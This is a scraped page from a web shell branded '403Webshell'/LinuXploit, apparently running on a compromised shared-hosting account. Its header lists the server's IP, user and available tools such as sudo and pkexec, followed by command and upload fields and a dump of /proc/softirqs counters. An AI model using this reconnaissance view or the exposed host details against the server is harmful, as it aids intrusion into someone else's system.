403Webshell
Server IP : 162.241.253.219  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux box5823.bluehost.com 5.14.0-687.25.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 13 11:40:33 EDT 2026 x86_64
User : aienetco ( 2034)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          2          0          0          0          0          1          0          2          0          0          0          0          0          0          0          0
       TIMER:   43814268   29302249   48060866   50627300   58338178   31124586   51054453   31781965   49741475   31580408   40923729   26391798   39491860   26526042   38449484   26050170
      NET_TX:          0          0          1          3          4          1          1          2          2          3          6          0          0          0          2          0
      NET_RX:   18509731    8998597   17286108  430906787  467746157   12899098   26432303   32116250  343086317   40290391   26627789  313949430   49548625  149184262   20172094   51803148
       BLOCK:          0          0          0          0          0          0         31          0          0          0          2          0          0          0          0         14
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:     149025      46295     122121     661432   16714774     155965     457930    1755469   16749753    1732345     494767   21238382    2277972    9773574     185987    3013953
       SCHED:  601163194  398979061  213508158  195109611  201309783  126007499  186056739  113285182  187909951  108015672  180542699  104451336  177491673  103485642  175076884  102968983
     HRTIMER:          1          2          1      48023      36157          1          9          1      18297          3          7          3          1          4          1          1
         RCU:  910374471  602607333  894755735  700997027  934970634  575248969  944505015  564382191  940155449  574819008  933842829  578006706  928667175  579175415  932086547  583612777

Youez - 2016 - github.com/yon3zu
LinuXploit